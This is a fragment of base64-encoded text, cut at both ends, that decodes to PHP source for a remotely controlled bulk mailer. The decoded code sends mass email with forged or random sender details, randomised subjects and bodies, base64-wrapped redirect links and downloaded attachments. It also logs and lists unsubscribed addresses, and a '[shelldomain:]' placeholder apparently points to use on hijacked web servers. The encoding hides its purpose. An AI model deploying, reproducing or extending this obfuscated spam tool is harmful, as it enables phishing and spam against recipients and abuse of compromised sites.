gPCBzaXplb2YoICRkX3N0MSApOyAkaSsrICkgewogICAgICAgICRkX3N0MiA9IGV4cGxvZGUoICc9JywgdHJpbSggJGRfc3QxWyAkaSBdICkgKTsKICAgICAgICBpZiggJGRfc3QyWyAwIF0gPT0gJ2wnICkgewogICAgICAgICAgICAkbl9zdCA9ICRkX3N0MlsgMSBdOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG5fc3QxIC49ICRuX3N0MiAuICRkX3N0MlsgMCBdIC4gJz0nIC4gJGRfc3QyWyAxIF07CiAgICAgICAgICAgICRuX3N0MiA9ICcmJzsKICAgICAgICB9CiAgICB9CiAgICAkbl9zdCAuPSAkbl9zdDE7CiAgICA/PgogICAgPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9PD9waHAKICAgIGVjaG8gJG5fc3Q7CiAgICA/PiI+PD9waHAKICAgIGV4aXQoKTsKfQoKaWYoIGlzc2V0KCAkX1JFUVVFU1RbICd1JyBdICkgKSB7CiAgICAkbl9zdCA9ICcnOwogICAgJG5fc3QxID0gJyc7CiAgICAkbl9zdDIgPSAnPyc7CiAgICAkZF9zdCA9IGJhc2U2NF9kZWNvZGUoICRfUkVRVUVTVFsgJ3UnIF0gKTsKICAgIGZpbGVfcHV0X2NvbnRlbnRzKCAnbG9nc3Vic2MubG9nJywgZGF0ZSggJ1tZLW0tZCBIOmk6c10gJyApIC4gJGRfc3QgLiAiXHJcbiIsIEZJTEVfQVBQRU5EIHwgTE9DS19FWCApOwogICAgPz4KICAgIDxicj48YnI+PGJyPgogICAgPGNlbnRlcj5Zb3UgaGF2ZSB1bnN1YnNjcmliZWQgZnJvbSB0aGUgbmV3c2xldHRlciEhITwvY2VudGVyPjxicj4KICAgIDxjZW50ZXI+RW1haWw6IDxiPjw/cGhwCiAgICAgICAgICAgIGVjaG8gJGRfc3Q7CiAgICAgICAgICAgID8+PC9iPjwvY2VudGVyPgogICAgPD9waHAKfQoKaWYoIGlzc2V0KCAkX1JFUVVFU1RbICdsdScgXSApICkgewogICAgJGZjID0gZmlsZV9nZXRfY29udGVudHMoICdsb2dzdWJzYy5sb2cnICk7CiAgICAkZmMgPSBwcmVnX3JlcGxhY2UoICIvXG4vIiwgIjxici8+XG4iLCAkZmMgKTsKICAgIGVjaG8gJGZjOwp9CgppZiggaXNzZXQoICRfUkVRVUVTVFsgJ2R1JyBdICkgKSB7CiAgICB1bmxpbmsoICdsb2dzdWJzYy5sb2cnICk7Cn0KCmlmKCBpc3NldCggJF9SRVFVRVNUWyAnY2UnIF0gKSA9PT0gdHJ1ZSApIHsKICAgIHBhcnNlX3N0ciggYmFzZTY0X2RlY29kZSggJF9SRVFVRVNUWyAnY2UnIF0gKSwgJF9SRVFVRVNUICk7Cn0KCiRlbmNvZGluZyA9ICJVVEYtOCI7CmlmKCBpc3NldCggJF9SRVFVRVNUWyAnZScgXSApICkgewogICAgJGVuY29kaW5nID0gJF9SRVFVRVNUWyAnZScgXTsKfQoKaWYoIGlzc2V0KCAkX1JFUVVFU1RbICdjaCcgXSApID09PSB0cnVlICkgewogICAgQ2hlY2soKTsKICAgIGV4aXQ7Cn0KCmlmKCBpc3NldCggJF9SRVFVRVNUWyAnc24nIF0gKSA9PT0gdHJ1ZSApIHsKICAgIFNlbmQoKTsKICAgIGV4aXQ7Cn0KCmZ1bmN0aW9uIFNlbmQoKQp7CgogICAgJGRvbWFpbiA9ICRfU0VSVkVSWyAiSFRUUF9IT1NUIiBdOwogICAgJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCAnd3d3LicsICcnLCAkZG9tYWluICk7CiAgICAkZG9tYWluXyA9IGV4cGxvZGUoICcuJywgJGRvbWFpbiApOwoKICAgICRfUkVRVUVTVFsgJ20nIF0gPSBzdHJfcmVwbGFjZSggJ1tzaGVsbGRvbWFpbjpdJywgdWNmaXJzdCggJGRvbWFpbl9bIDAgXSApLCAkX1JFUVVFU1RbICdtJyBdICk7CiAgICAvL2VjaG8gJF9SRVFVRVNUWydtJ107CgogICAgJGVtYWlscyA9IHVybGRlY29kZSggJF9SRVFVRVNUWyAnZW0nIF0gKTsKCiAgICAkZXhwbGVtYWlscyA9IGV4cGxvZGUoICJcbiIsICRlbWFpbHMgKTsKICAgIGdsb2JhbCAkcmFuZG1fYXJyYXk7CiAgICBnbG9iYWwgJGF0dGFjaGVtZW50X2FycmF5OwogICAgZ2xvYmFsICR1bnN1YnNjcmliZTsKICAgICR1bnN1YnNjcmliZSA9IDA7CgogICAgZm9yKCAkYyA9IDAsICRtYXggPSBzaXplb2YoICRleHBsZW1haWxzICk7ICRjIDwgJG1heDsgJGMrKyApIHsKICAgICAgICAkZGF0YSA9IGV4cGxvZGUoICd8JywgdHJpbSggJGV4cGxlbWFpbHNbICRjIF0gKSApOwogICAgICAgICRyX3JlcGx5dG8gPSBtYWNyb3NSYW5kb20oICRfUkVRVUVTVFsgJ3JwdCcgXSwgJGRhdGEgKTsKICAgICAgICAkcl9mcm9tXyA9IG1hY3Jvc1JhbmRvbSggZGF0YUhhbmRsZXIoICRfUkVRVUVTVFsgJ2YnIF0gKSwgJGRhdGEgKTsKICAgICAgICAkcl9mcm9tID0gZXhwbG9kZSggJzonLCAkcl9mcm9tXyApOwoKICAgICAgICBpZiggaXNfZmlsZSggJF9GSUxFU1sgJ2ZpbGUnIF1bICd0bXBfbmFtZScgXSApICkgewogICAgICAgICAgICAkcl9zdWJqZWN0ID0gZGF0YUhhbmRsZXIoIHVybGRlY29kZSggJF9SRVFVRVNUWyAncycgXSApICk7CiAgICAgICAgICAgICRyX21lc3NhZ2UgPSB1cmxkZWNvZGUoICRfUkVRVUVTVFsgJ20nIF0gKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRyX3N1YmplY3QgPSBkYXRhSGFuZGxlciggJF9SRVFVRVNUWyAncycgXSApOwogICAgICAgICAgICAkcl9tZXNzYWdlID0gJF9SRVFVRVNUWyAnbScgXTsKICAgICAgICB9CgogICAgICAgICRyX3N1YmplY3QgPSBzdHJfcmVwbGFjZSggJ1tmcm9tOl0nLCAkcl9mcm9tWyAwIF0sICRyX3N1YmplY3QgKTsKICAgICAgICAkcl9zdWJqZWN0ID0gc3RyX3JlcGxhY2UoICdbZW1haWw6XScsICRkYXRhWyAwIF0sICRyX3N1YmplY3QgKTsKICAgICAgICAkcl9zdWJqZWN0ID0gbWFjcm9zUmFuZG9tKCAkcl9zdWJqZWN0LCAkZGF0YSApOwogICAgICAgICRyX21lc3NhZ2UgPSBzdHJfcmVwbGFjZSggJ1tmcm9tOl0nLCAkcl9mcm9tWyAwIF0sICRyX21lc3NhZ2UgKTsKICAgICAgICAkcl9tZXNzYWdlID0gc3RyX3JlcGxhY2UoICdbZW1haWw6XScsICRkYXRhWyAwIF0sICRyX21lc3NhZ2UgKTsKICAgICAgICAkcl9tZXNzYWdlID0gbWFjcm9zUmFuZG9tKCAkcl9tZXNzYWdlLCAkZGF0YSApOwogICAgICAgIGlmKCAhIFNNYWlsKCAkZGF0YVsgMCBdLCAkcl9mcm9tWyAxIF0sICRyX21lc3NhZ2UsICRyX3N1YmplY3QsICRyX3JlcGx5dG8sICRyX2Zyb21bIDAgXSApICkgewogICAgICAgICAgICBwcmludCAnKnNlbmQ6YmFkKic7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfQoKICAgIHByaW50ICcqc2VuZDpvayonOwogICAgZXhpdDsKfQoKZnVuY3Rpb24gU01haWwoICR0bywgJGZyb20sICRtZXNzYWdlLCAkc3ViamVjdCwgJHJlcGx5dG8sICRmcm9tX25hbWUgKQp7CiAgICBnbG9iYWwgJHVuc3Vic2NyaWJlOwogICAgZ2xvYmFsICRhdHRhY2hlbWVudF9hcnJheTsKICAgIGdsb2JhbCAkZW5jb2Rpbmc7CgogICAgaWYoIGlzX2ZpbGUoICRfRklMRVNbICdmaWxlJyBdWyAndG1wX25hbWUnIF0gKSApIHsKICAgICAgICAkZmlsZVN0cmluZyA9IGZpbGVTdHJpbmcoICRfRklMRVNbICdmaWxlJyBdWyAnbmFtZScgXSApOwogICAgICAgICRmaWxlbmFtZSA9ICRfUkVRVUVTVFsgJ2ZuJyBdOwogICAgfQoKICAgICRmcm9tX25hbWUgPSB0cmltKCAkZnJvbV9uYW1lICk7CiAgICBpZiggc3RybGVuKCB0cmltKCAkZnJvbV9uYW1lICkgKSA8IDEgKSB7CiAgICAgICAgJGZyb21fbmFtZSA9IHJhbmRUZXh0KCk7CiAgICB9CgogICAgaWYoIHN0cmxlbiggdHJpbSggJGZyb20gKSApIDwgMSApIHsKICAgICAgICAkZnJvbSA9IHN0cl9yZXBsYWNlKCAnICcsICcnLCB0cmltKCAkZnJvbV9uYW1lICkgKSAuICdAJyAuICRfU0VSVkVSWyAnSFRUUF9IT1NUJyBdOwogICAgfQoKICAgIGlmKCBzdHJsZW4oIHRyaW0oICRyZXBseXRvICkgKSA8IDEgKSB7CiAgICAgICAgJHJlcGx5dG8gPSAkZnJvbTsKICAgIH0KCiAgICBpZiggJF9SRVFVRVNUWyAndHAnIF0gPT0gJzEnICkgewogICAgICAgICR0eXBlID0gJ3RleHQvaHRtbCc7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkdHlwZSA9ICd0ZXh0L3BsYWluJzsKICAgIH0KCiAgICAkaGVhZGVycyA9IEdldEhlYWRlcnMoICRmcm9tX25hbWUsICRmcm9tLCAkcmVwbHl0byApOwoKICAgICRib3VuZGFyeSA9IG1kNSggdW5pcWlkKCkgKTsKICAgICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9hbHRlcm5hdGl2ZTsgYm91bmRhcnk9XCIiIC4gJGJvdW5kYXJ5IC4gIlwiXHJcbiI7CgogICAgaWYoICR1bnN1YnNjcmliZSA9PSAxICkgewogICAgICAgICRoZWFkZXJzIC49ICdMaXN0LVVuc3Vic2NyaWJlOiA8bWFpbHRvOicgLiAkZnJvbSAuICI+IiAuICJcclxuIjsKICAgIH0KCiAgICAvL3BsYWluIHZlcnNpb24KICAgICRib2R5ID0gIi0tIiAuICRib3VuZGFyeSAuICJcclxuIjsKICAgICRib2R5IC49ICJDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9VVRGLThcclxuIjsKICAgICRib2R5IC49ICdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnIC4gIlxyXG5cclxuIjsKICAgICRtZXNzYWdlX3BsYWluID0gY3V0X3RhZ3MoICRtZXNzYWdlICk7CiAgICAkYm9keSAuPSB0cmltKCBjaHVua19zcGxpdCggYmFzZTY0X2VuY29kZSggJG1lc3NhZ2VfcGxhaW4gKSApICk7CgogICAgLy9odG1sIHZlcnNpb24KICAgIGlmKCAkX1JFUVVFU1RbICd0cCcgXSA9PSAnMScgKSB7CiAgICAgICAgJGJvZHkgLj0gIlxyXG5cclxuLS0iIC4gJGJvdW5kYXJ5IC4gIlxyXG4iOwogICAgICAgICRib2R5IC49ICJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOFxyXG4iOwogICAgICAgICRib2R5IC49ICdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnIC4gIlxyXG5cclxuIjsKICAgICAgICAkYm9keSAuPSB0cmltKCBjaHVua19zcGxpdCggYmFzZTY0X2VuY29kZSggJG1lc3NhZ2UgKSApICk7CiAgICB9CgogICAgLy9maWxlcyBhdHRhY2hlbWVudAogICAgaWYoIGlzX2ZpbGUoICRfRklMRVNbICdmaWxlJyBdWyAndG1wX25hbWUnIF0gKSApIHsKICAgICAgICAkYm9keSAuPSAiXHJcblxyXG4tLSIgLiAkYm91bmRhcnkgLiAiXHJcbiI7CiAgICAgICAgJGJvZHkgLj0gJ0NvbnRlbnQtVHlwZTogJyAuICRfRklMRVNbICdmaWxlJyBdWyAndHlwZScgXSAuICc7IG5hbWU9IicgLiAkZmlsZW5hbWUgLiAnIicgLiAiXHJcbiI7CiAgICAgICAgJGJvZHkgLj0gJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInIC4gJGZpbGVuYW1lIC4gJyInIC4gIlxyXG4iOwogICAgICAgICRib2R5IC49ICdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnIC4gIlxyXG4iOwogICAgICAgICRib2R5IC49ICdYLUF0dGFjaG1lbnQtSWQ6ICcgLiByYW5kKCAxMDAwLCA5OTk5OSApIC4gIlxyXG5cclxuIjsKICAgICAgICAkYm9keSAuPSB0cmltKCBjaHVua19zcGxpdCggYmFzZTY0X2VuY29kZSggJGZpbGVTdHJpbmcgKSApICk7CiAgICB9CgogICAgaWYoICRhdHRhY2hlbWVudF9hcnJheSApIHsKCiAgICAgICAgJGZpbGVzID0gYXJyYXkoKTsKICAgICAgICBmb3IoICRpID0gMDsgJGkgPCBjb3VudCggJGF0dGFjaGVtZW50X2FycmF5ICk7ICRpKysgKSB7CiAgICAgICAgICAgICRhdHRhY2hlbWVudF9hcnJheVsgJGkgXVsgMSBdID0gdHJpbSggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0gKTsKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoICRhdHRhY2hlbWVudF9hcnJheVsgJGkgXVsgMSBdLCBEb3dubG9hZFNvdXJjZSggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAwIF0gKSApOwogICAgICAgIH0KCiAgICAgICAgZm9yKCAkaSA9IDA7ICRpIDwgY291bnQoICRhdHRhY2hlbWVudF9hcnJheSApOyAkaSsrICkgewogICAgICAgICAgICBpZiggaXNzZXQoICRhdHRhY2hlbWVudF9hcnJheVsgJGkgXVsgMSBdICkgKSB7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbiggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0sICJyIiApOwogICAgICAgICAgICAgICAgaWYoICRmcCApIHsKICAgICAgICAgICAgICAgICAgICAkZmlsZXNbICRpIF0gPSBmcmVhZCggJGZwLCBmaWxlc2l6ZSggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0gKSApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmNsb3NlKCAkZnAgKTsKCiAgICAgICAgICAgICAgICBpZiggaXNzZXQoICRmaWxlc1sgJGkgXSApICkgewogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICJcclxuXHJcbi0tIiAuICRib3VuZGFyeSAuICJcclxuIjsKCiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJ0NvbnRlbnQtVHlwZTogJyAuIG1pbWVfY29udGVudF90eXBlKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0KICAgICAgICAgICAgICAgICAgICAgICAgKSAuICc7IG5hbWU9IicgLiAkYXR0YWNoZW1lbnRfYXJyYXlbICRpIF1bIDEgXSAuICciJyAuICJcclxuIjsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAnQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicgLiAkYXR0YWNoZW1lbnRfYXJyYXlbICRpIF1bIDEgXSAuICciJyAuICJcclxuIjsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0JyAuICJcclxuIjsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAnWC1BdHRhY2htZW50LUlkOiAnIC4gcmFuZCggMTAwMCwgOTk5OTkgKSAuICJcclxuXHJcbiI7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gdHJpbSggY2h1bmtfc3BsaXQoIGJhc2U2NF9lbmNvZGUoIGZpbGVfZ2V0X2NvbnRlbnRzKCAkYXR0YWNoZW1lbnRfYXJyYXlbICRpIF1bIDEgXSApICkgKSApOwogICAgICAgICAgICAgICAgICAgIHVubGluayggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0gKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CgogICAgJGJvZHkgLj0gIlxyXG5cclxuLS0iIC4gJGJvdW5kYXJ5IC4gIi0tIjsKCiAgICBpZiggJGVuY29kaW5nID09ICdVVEYtOCcgKSB7CiAgICAgICAgJHN1YmplY3QgPSAiPT9VVEYtOD9CPyIgLiBiYXNlNjRfZW5jb2RlKCAkc3ViamVjdCApIC4gIj89IjsKICAgIH0KICAgIGVsc2UgewogICAgICAgICRzdWJqZWN0ID0gIj0/JGVuY29kaW5nP0I/IiAuIGJhc2U2NF9lbmNvZGUoIGljb252KCAnVVRGLTgnLCAkZW5jb2RpbmcsICRzdWJqZWN0ICkgKSAuICI/PSI7CiAgICB9CgogICAgaWYoIG1haWwoICR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVycyApICkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgovLyBHZXQgcmFuZG9tIG9yIG9uZSBhcnJheSBlbGVtZW50CmZ1bmN0aW9uIGRhdGFIYW5kbGVyKCAkZGF0YSApCnsKICAgICRleCA9IGV4cGxvZGUoICJcbiIsICRkYXRhICk7CiAgICBpZiggc2l6ZW9mKCAkZXggKSA+IDEgKSB7CiAgICAgICAgcmV0dXJuIHRyaW0oICRleFsgcmFuZCggMCwgc2l6ZW9mKCAkZXggKSAtIDEgKSBdICk7CiAgICB9CiAgICByZXR1cm4gdHJpbSggJGRhdGEgKTsKfQoKZnVuY3Rpb24gbWFjcm9zUmFuZG9tKCAkdGV4dCwgJGRhdGEgKQp7CiAgICBnbG9iYWwgJHJhbmRtX2FycmF5OwogICAgZ2xvYmFsICRhdHRhY2hlbWVudF9hcnJheTsKICAgIGdsb2JhbCAkdW5zdWJzY3JpYmU7CgogICAgcHJlZ19tYXRjaF9hbGwoICcjXFtudW06KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0MiApOwogICAgJGkgPSAwOwogICAgcHJlZ19tYXRjaF9hbGwoICcjXFtyYW5kTTooLis/KVxdI2lzJywgJHRleHQsICRyZXN1bHQzICk7CiAgICAkcSA9IDA7CiAgICBwcmVnX21hdGNoX2FsbCggJyNcW3JhbmRzdHI6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0NCApOwogICAgJHcgPSAwOwogICAgcHJlZ19tYXRjaF9hbGwoICcjXFt2YXI6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0NSApOwogICAgJGUgPSAwOwogICAgcHJlZ19tYXRjaF9hbGwoICcjXHtyYW5kOiguKz8pXH0jaXMnLCAkdGV4dCwgJHJlc3VsdDYgKTsKICAgICRmID0gMDsKICAgIHByZWdfbWF0Y2hfYWxsKCAnI1xbcmVkaXJlY3Q6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0NyApOwogICAgJGggPSAwOwogICAgcHJlZ19tYXRjaF9hbGwoICcjXHtyYW5kTTooLis/KVx9I2lzJywgJHRleHQsICRyZXN1bHQ4ICk7CiAgICAkdSA9IDA7CgoKICAgIC8vcmVkaXJlY3QKICAgIHdoaWxlKCAkaCA8IHNpemVvZiggJHJlc3VsdDdbIDEgXSApICkgewogICAgICAgICRsaW5rX3NpdGUgPSAnJzsKICAgICAgICAkbGlua19wYXIxID0gZXhwbG9kZSggJz4+PicsICRyZXN1bHQ3WyAxIF1bICRoIF0gKTsKICAgICAgICAkY3VycmVudF91cmxfID0gJyc7CiAgICAgICAgLy9wcmludF9yKCRsaW5rX3BhcjEpOwogICAgICAgIHByZWdfbWF0Y2hfYWxsKCAnI1x7cmFuZDooLis/KVx9I2lzJywgJGxpbmtfcGFyMVsgMCBdLCAkbGlua19wYXIyICk7CiAgICAgICAgaWYoIHNpemVvZiggJGxpbmtfcGFyMlsgMSBdICkgPiAwICkgewogICAgICAgICAgICAkbGlua19wYXIzID0gZXhwbG9kZSggJ3wnLCAkbGlua19wYXIyWyAxIF1bIDAgXSApOwogICAgICAgICAgICAkbGlua19zaXRlID0gJGxpbmtfcGFyM1sgYXJyYXlfcmFuZCggJGxpbmtfcGFyMyApIF07CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkbGlua19zaXRlID0gJGxpbmtfcGFyMVsgMCBdOwogICAgICAgIH0KCiAgICAgICAgJGxpbmtfc2l0ZSA9ICJsPSIgLiAkbGlua19zaXRlOwoKICAgICAgICBmb3IoICRpX2xpbmsgPSAxOyAkaV9saW5rIDwgc2l6ZW9mKCAkbGlua19wYXIxICk7ICRpX2xpbmsrKyApIHsKICAgICAgICAgICAgJGxpbmtfcGFyMVsgJGlfbGluayBdID0gc3RyX3JlcGxhY2UoICJ7IiwgIiIsICRsaW5rX3BhcjFbICRpX2xpbmsgXSApOwogICAgICAgICAgICAkbGlua19wYXIxWyAkaV9saW5rIF0gPSBzdHJfcmVwbGFjZSggIn0iLCAiIiwgJGxpbmtfcGFyMVsgJGlfbGluayBdICk7CiAgICAgICAgICAgIGlmKCBzdHJwb3MoICRsaW5rX3BhcjFbICRpX2xpbmsgXSwgJ2VtYWlsOicgKSAhPT0gZmFsc2UgKSB7CiAgICAgICAgICAgICAgICAkbGlua19zaXRlIC49ICImZT0iIC4gdHJpbSggJGRhdGFbIDAgXSApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgaWYoIHN0cnBvcyggJGxpbmtfcGFyMVsgJGlfbGluayBdLCAndmFyOicgKSAhPT0gZmFsc2UgKSB7CiAgICAgICAgICAgICAgICAgICAgJGxpbmtfcGFyNCA9IGV4cGxvZGUoICc6JywgJGxpbmtfcGFyMVsgJGlfbGluayBdICk7CiAgICAgICAgICAgICAgICAgICAgJGxpbmtfc2l0ZSAuPSAiJnYiIC4gJGxpbmtfcGFyNFsgMSBdIC4gIj0iIC4gdHJpbSggJGRhdGFbICRsaW5rX3BhcjRbIDEgXSBdICk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZiggc3RycG9zKCAkbGlua19wYXIxWyAkaV9saW5rIF0sICdsaW5rOicgKSAhPT0gZmFsc2UgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5rX3BhcjQgPSBleHBsb2RlKCAnOicsICRsaW5rX3BhcjFbICRpX2xpbmsgXSwgMiApOwogICAgICAgICAgICAgICAgICAgICAgICAkY3VycmVudF91cmxfID0gJGxpbmtfcGFyNFsgMSBdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmtfc2l0ZSAuPSAiJiIgLiAkbGlua19wYXIxWyAkaV9saW5rIF07CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvL3ByaW50ICItIi4kbGlua19wYXIxWyRpX2xpbmtdOwogICAgICAgIH0KICAgICAgICAvL3ByaW50ICRsaW5rX3NpdGU7CiAgICAgICAgaWYoIHN0cmxlbiggJGN1cnJlbnRfdXJsXyApID4gMCApIHsKICAgICAgICAgICAgJGN1cnJlbnRfdXJsID0gJGN1cnJlbnRfdXJsXzsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRjdXJyZW50X3VybCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWyAnSFRUUF9IT1NUJyBdIC4gJF9TRVJWRVJbICdSRVFVRVNUX1VSSScgXTsKICAgICAgICB9CgogICAgICAgICRjdXJyZW50X3VybCAuPSAiP3I9IiAuIGJhc2U2NF9lbmNvZGUoICRsaW5rX3NpdGUgKTsKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlX29uY2UoICRyZXN1bHQ3WyAwIF1bICRoIF0sICRjdXJyZW50X3VybCwgJHRleHQgKTsKICAgICAgICAkaCsrOwogICAgfQoKCiAgICAvL3Vuc3Vic2NyaWJlCiAgICAkayA9IHN0cnBvcyggJHRleHQsICdbdW5zdWJzY3JpYmU6XScgKTsKICAgIGlmKCAkayAhPSBGQUxTRSApIHsKICAgICAgICAkY3VycmVudF91cmwgPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsgJ0hUVFBfSE9TVCcgXSAuICRfU0VSVkVSWyAnUkVRVUVTVF9VUkknIF07CiAgICAgICAgJGN1cnJlbnRfdXJsIC49ICI/dT0iIC4gYmFzZTY0X2VuY29kZSggJGRhdGFbIDAgXSApOwogICAgICAgICR1bnN1YnNjcmliZSA9IDE7CiAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZSggJ1t1bnN1YnNjcmliZTpdJywgJGN1cnJlbnRfdXJsLCAkdGV4dCApOwogICAgfQoKICAgIC8ve3JhbmQKICAgIHdoaWxlKCAkZiA8IHNpemVvZiggJHJlc3VsdDZbIDEgXSApICkgewogICAgICAgICRyYW5kID0gZXhwbG9kZSggJ3wnLCAkcmVzdWx0NlsgMSBdWyAkZiBdICk7CiAgICAgICAgJHJhbmQgPSAkcmFuZFsgYXJyYXlfcmFuZCggJHJhbmQgKSBdOwogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2Vfb25jZSggJHJlc3VsdDZbIDAgXVsgJGYgXSwgJHJhbmQsICR0ZXh0ICk7CiAgICAgICAgJGYrKzsKICAgIH0KCiAgICB3aGlsZSggJGkgPCBzaXplb2YoICRyZXN1bHQyWyAxIF0gKSApIHsKICAgICAgICAkcmFuZCA9IGV4cGxvZGUoICd8JywgJHJlc3VsdDJbIDEgXVsgJGkgXSApOwogICAgICAgIGlmKCAhIGlzX251bWVyaWMoICRyYW5kWyAwIF0gKSBvciAhIGlzX251bWVyaWMoICRyYW5kWyAxIF0gKSApIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRyYW5kID0gcmFuZCggJHJhbmRbIDAgXSwgJHJhbmRbIDEgXSApOwoKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlX29uY2UoICRyZXN1bHQyWyAwIF1bICRpIF0sICRyYW5kLCAkdGV4dCApOwogICAgICAgICRpKys7CiAgICB9CgogICAgLy97cmFuZE0KICAgIHdoaWxlKCAkdSA8IHNpemVvZiggJHJlc3VsdDhbIDEgXSApICkgewogICAgICAgICRyYW5kID0gZXhwbG9kZSggJ3wnLCAkcmVzdWx0OFsgMSBdWyAkdSBdICk7CiAgICAgICAgLy8kcmFuZD0kcmFuZFthcnJheV9yYW5kKCRyYW5kKV07CgogICAgICAgICRmbGFnX3IgPSBmYWxzZTsKICAgICAgICBmb3IoICRpX2xpbmsgPSAwOyAkaV9saW5rIDwgc2l6ZW9mKCAkcmVzdWx0OFsgMSBdICk7ICRpX2xpbmsrKyApIHsKICAgICAgICAgICAgaWYoICRyZXN1bHQ4WyAwIF1bICR1IF0gPT0gJHJhbmRtX2FycmF5WyAkaV9saW5rIF1bIDAgXSApIHsKICAgICAgICAgICAgICAgICRyYW5kID0gJHJhbmRtX2FycmF5WyAkaV9saW5rIF1bIDEgXTsKICAgICAgICAgICAgICAgICRmbGFnX3IgPSB0cnVlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYoICRmbGFnX3IgPT0gZmFsc2UgKSB7CiAgICAgICAgICAgICRyYW5kID0gJHJhbmRbIGFycmF5X3JhbmQoICRyYW5kICkgXTsKICAgICAgICAgICAgJHJhbmRtX2FycmF5W10gPSBhcnJheSgKICAgICAgICAgICAgICAgICRyZXN1bHQzWyAwIF1bICR1IF0sCiAgICAgICAgICAgICAgICAkcmFuZAogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCAkcmVzdWx0OFsgMCBdWyAkdSBdLCAkcmFuZCwgJHRleHQgKTsKICAgICAgICAkdSsrOwogICAgfQoKCiAgICAvL1tyYW5kTQogICAgd2hpbGUoICRxIDwgc2l6ZW9mKCAkcmVzdWx0M1sgMSBdICkgKSB7CiAgICAgICAgJHJhbmQgPSBleHBsb2RlKCAnfCcsICRyZXN1bHQzWyAxIF1bICRxIF0gKTsKICAgICAgICAvLyRyYW5kPSRyYW5kW2FycmF5X3JhbmQoJHJhbmQpXTsKCiAgICAgICAgJGZsYWdfciA9IGZhbHNlOwogICAgICAgIGZvciggJGlfbGluayA9IDA7ICRpX2xpbmsgPCBzaXplb2YoICRyZXN1bHQzWyAxIF0gKTsgJGlfbGluaysrICkgewogICAgICAgICAgICBpZiggJHJlc3VsdDNbIDAgXVsgJHEgXSA9PSAkcmFuZG1fYXJyYXlbICRpX2xpbmsgXVsgMCBdICkgewogICAgICAgICAgICAgICAgJHJhbmQgPSAkcmFuZG1fYXJyYXlbICRpX2xpbmsgXVsgMSBdOwogICAgICAgICAgICAgICAgJGZsYWdfciA9IHRydWU7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiggJGZsYWdfciA9PSBmYWxzZSApIHsKICAgICAgICAgICAgJHJhbmQgPSAkcmFuZFsgYXJyYXlfcmFuZCggJHJhbmQgKSBdOwogICAgICAgICAgICAkcmFuZG1fYXJyYXlbXSA9IGFycmF5KAogICAgICAgICAgICAgICAgJHJlc3VsdDNbIDAgXVsg